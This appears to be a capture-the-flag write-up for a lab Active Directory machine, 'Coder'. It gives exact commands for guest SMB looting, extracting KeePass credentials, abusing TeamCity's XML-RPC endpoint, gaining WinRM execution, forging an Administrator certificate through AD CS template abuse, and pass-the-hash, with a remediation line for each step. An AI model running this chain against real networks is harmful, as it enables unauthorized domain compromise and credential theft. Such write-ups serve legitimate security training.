Coder
Summary
I enumerated the coder.htb Active Directory domain controller and found that the "Development" SMB share allowed anonymous/guest access. Recursively listing that share turned up leftover developer artifacts — a KeePass database, DACL-backup files, and a stray Kerberos ticket cache — from which the credentials for domain user s.blade were recovered.
Those credentials could not log into the internal TeamCity CI server directly because of enforced two-factor authentication, but abusing TeamCity's exposed RPC2 XML-RPC endpoint yielded a TeamCity service credential that itself contained an embedded domain credential for coder\e.black, stored in a build/agent configuration. e.black's credentials authenticated over WinRM, giving code execution and the user flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for e.black>"
export HASH="<the-hash-you-recovered, for Administrator>"Some commands also carry a value in angle brackets — <vulnerable_template> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 1
Full TCP port sweep to fingerprint the AD DC service set.
$ nmap -p- -sC -sV -oA coder_full $TARGETExact commands 2
List the share recursively as an unauthenticated guest.
$ smbclient //$TARGET/Development -U 'coder.htb\guest%' -c 'recurse ON; ls' | tee share_listing.txtPull down the discovered KeePass DB, key file, and .bak/.ccache artifacts.
$ smbclient //$TARGET/Development -U 'coder.htb\guest%' -c 'recurse ON; prompt OFF; mget *'FixDisable anonymous and guest access to SMB sharesHigh
Exact commands 1
List/open the recovered KeePass DB using its key file to extract stored entries.
$ keepassxc-cli ls -k archive/.key --no-password archive/s.blade.kdbxFixRemove credential stores and secrets from file sharesHigh
Exact commands 2
Confirms s.blade is valid but blocked by enforced 2FA.
$ curl -sk -u "s.blade:$PASSWORD" -H 'Host: teamcity-dev.coder.htb' https://$TARGET/app/rest/users/currentQuery the exposed RPC2 XML-RPC endpoint to enumerate build configs and recover the TeamCity-RPC2 service credential / embedded e.black domain credential (extract exact params from the running TeamCity build/agent config).
$ curl -sk -H 'Host: teamcity-dev.coder.htb' https://$TARGET/httpAuth/xmlrpc -d '<methodCall><methodName>RemoteBuildServer2.listBuildTypes</methodName></methodCall>'FixRemove embedded domain credentials from TeamCity build/agent configuration and lock down RPC2High
whoami was run to prove code execution before reading the user flag from the desktop.Exact commands 3
Validate the credential and confirm remote code execution.
$ nxc winrm $TARGET -u e.black -p "$PASSWORD2" -d coder.htb -x whoamiRead the user flag; result is <user.txt>.
$ nxc winrm $TARGET -u e.black -p "$PASSWORD2" -d coder.htb -X "Get-Content -LiteralPath 'C:\Users\e.black\Desktop\user.txt'"Interactive alternative to the one-shot nxc executions used in the run.
$ evil-winrm -i $TARGET -u e.black -p "$PASSWORD2"Exact commands 2
Enumerate ACEs on the Certificate Templates container to find the misconfigured permission.
$ nxc winrm $TARGET -u e.black -p "$PASSWORD2" -d coder.htb -X "dsacls 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=coder,DC=htb'"Confirm and classify the vulnerable ESC path against the discovered template/ACL misconfiguration.
$ certipy find -u e.black -p "$PASSWORD2" -dc-ip $TARGET -vulnerable -stdoutFixFix the overly permissive ACL on the AD CS Certificate Templates containerCritical
Exact commands 4
Request/abuse the vulnerable certificate template to enroll on behalf of a privileged principal.
$ certipy req -u e.black -p "$PASSWORD2" -dc-ip $TARGET -ca CODER-CA -template <vulnerable_template> -upn Administrator@coder.htbAuthenticate with the issued certificate to recover the Administrator NT hash.
$ certipy auth -pfx administrator.pfx -dc-ip $TARGETPass-the-hash with the recovered Administrator NT hash to obtain a privileged shell.
$ evil-winrm -i $TARGET -u Administrator -H $HASHRead the root flag; result is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap |
| 443/tcp | http recon-sweep-discovered |
| 445/tcp | microsoft-ds |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 5985/tcp | wsman |
| 9389/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49675/tcp | unknown recon-sweep-discovered |
| 49679/tcp | unknown recon-sweep-discovered |
| 49686/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 51492/tcp | unknown recon-sweep-discovered |
| 51505/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.